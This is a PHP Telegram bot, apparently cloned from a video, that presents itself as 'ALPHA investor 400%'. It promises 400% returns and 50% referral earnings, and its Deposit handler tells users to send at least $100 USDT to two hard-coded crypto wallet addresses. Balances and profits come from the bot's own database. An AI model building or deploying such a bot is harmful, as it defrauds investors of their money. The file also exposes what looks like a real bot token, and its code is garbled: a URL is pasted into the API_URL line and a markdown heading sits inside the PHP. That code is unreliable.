<?php
// config.php 

define('BOT_TOKEN', '8863505357:AAGbGbnhIfwrxwuo_6wduHAuBfvam6iW41s'); // توکن رباتت رو از BotFather بگیر و اینجا بذار
define('API_URL', 'https://api.telegram.org/bot' .https://my.viphost.cloud/register.php . '/'); 

// مشخصات دیتابیس هاست
$db_host = 'localhost';
$db_name = 'YOUR_DATABASE_NAME';
$db_user = 'YOUR_DATABASE_USER';
$db_pass = 'YOUR_DATABASE_PASSWORD'; 

try {
    $pdo = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8mb4", $db_user, $db_pass, [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ]);
} catch (PDOException $e) {
    die("Database connection failed: " . $e->getMessage());
} 

### 📲 فایل اصلی ربات (index.php)
این فایل منطق اصلی، دکمه‌ها و پیام‌های کپی شده از روی ویدیوی 82818.mp4 رو اجرا میکنه:
`php
<?php
// index.php
require_once 'config.php'; 

// دریافت اطلاعات ارسالی از سمت تلگرام
$content = file_get_contents("php://input");
$update = json_decode($content, true); 

if (!$update) {
    exit;
} 

// بررسی اینکه پیام متنی هست یا خیر
$message = $update['message'] ?? null;
if (!$message) {
    exit;
} 

$chatId = $message['chat']['id'] ?? null;
$text = trim($message['text'] ?? '');
$username = $message['from']['username'] ?? null; 

if (!$chatId) {
    exit;
} 

// پیدا کردن یا ثبت نام کاربر در دیتابیس
$stmt = $pdo->prepare("SELECT * FROM users WHERE chat_id = ?");
$stmt->execute([$chatId]);
$user = $stmt->fetch(); 

if (!$user) {
    $referrerId = null;
    
    // بررسی اینکه آیا با لینک ریفرال وارد شده یا نه (/start 123456)
    if (strpos($text, '/start') === 0 && strlen($text) > 7) {
        $param = substr($text, 7);
        if (is_numeric($param) && (int)$param !== $chatId) {
            $referrerId = (int)$param;
        }
    } 

    $stmt = $pdo->prepare("INSERT INTO users (chat_id, username, referred_by) VALUES (?, ?, ?)");
    $stmt->execute([$chatId, $username, $referrerId]);
    
    $stmt = $pdo->prepare("SELECT * FROM users WHERE chat_id = ?");
    $stmt->execute([$chatId]);
    $user = $stmt->fetch();
} 

// مدیریت دستورات و دکمه‌ها دقیقاً بر اساس جریان ویدیو
if (strpos($text, '/start') === 0) {
    updateUserStep($pdo, $chatId, 'home');
    sendMainMenu($chatId, "Welcome to ALPHA investor 400% 💸");
    exit;
} 

switch ($text) {
    case 'Deposit 🔵': updateUserStep($pdo, $chatId, 'home'); $depositMsg = "Minimum Deposit $100.00 💸\nSend USDT Amount to This Wallet Address 👇\n\n" . "🟢 Network : 🟡 ERC20\n0x480b111ecA66335458c63faEAdc9D6454A73D226\n\n" . "🟢 Network : 🟡 TRX\nTE7ZhgibRqZhsMNjYMu5XDjUm9WgwDAzPN"; sendMessage($chatId, $depositMsg); break; 
    case 'Balance ⬛':
        updateUserStep($pdo, $chatId, 'home');
        $balanceMsg = "🔷 Your Balance : $" . $user['balance'] . " USDT\n\n" .
                      "🔷 Total Profit : $" . $user['total_profit'] . " USDT\n\n" .
                      "🔷 Withdrawals : $" . $user['withdrawals'] . " 0";
        sendMessage($chatId, $balanceMsg);
        break; 

    case 'Withdraw ⬛':
        updateUserStep($pdo, $chatId, 'awaiting_withdraw');
        // دکمه کنسل قرمز رنگ طبق ویدیو
        $cancelKeyboard = [[ '🔴 Cancel' ]];
        sendReplyKeyboard($chatId, "❗ Enter the amount you want to withdraw:", $cancelKeyboard);
        break; 

    case '🔴 Cancel':
        updateUserStep($pdo, $chatId, 'home');
        sendMainMenu($chatId, "Welcome to ALPHA investor 400% 💸");
        break; 

    case 'Referral 👥':
        updateUserStep($pdo, $chatId, 'home');
        // ایجاد لینک دعوت اختصاصی کاربر
        $botUsername = "ALPHAINVESTEOBOT"; // نام کاربری ربات شما در تلگرام
        $refLink = "https://t.me/" . $botUsername . "?start=invite_" . $chatId;
        
        $refMsg = "🎰 Refer and Earn 50% From your referral Profit 💰\n\n" .
                  $refLink . "\n\n" .
                  "Telegram\nALPHA INVEST 📈\nAlpha Investto Official 🧬\nwww.alphainvest.io";
        sendMessage($chatId, $refMsg);
        break;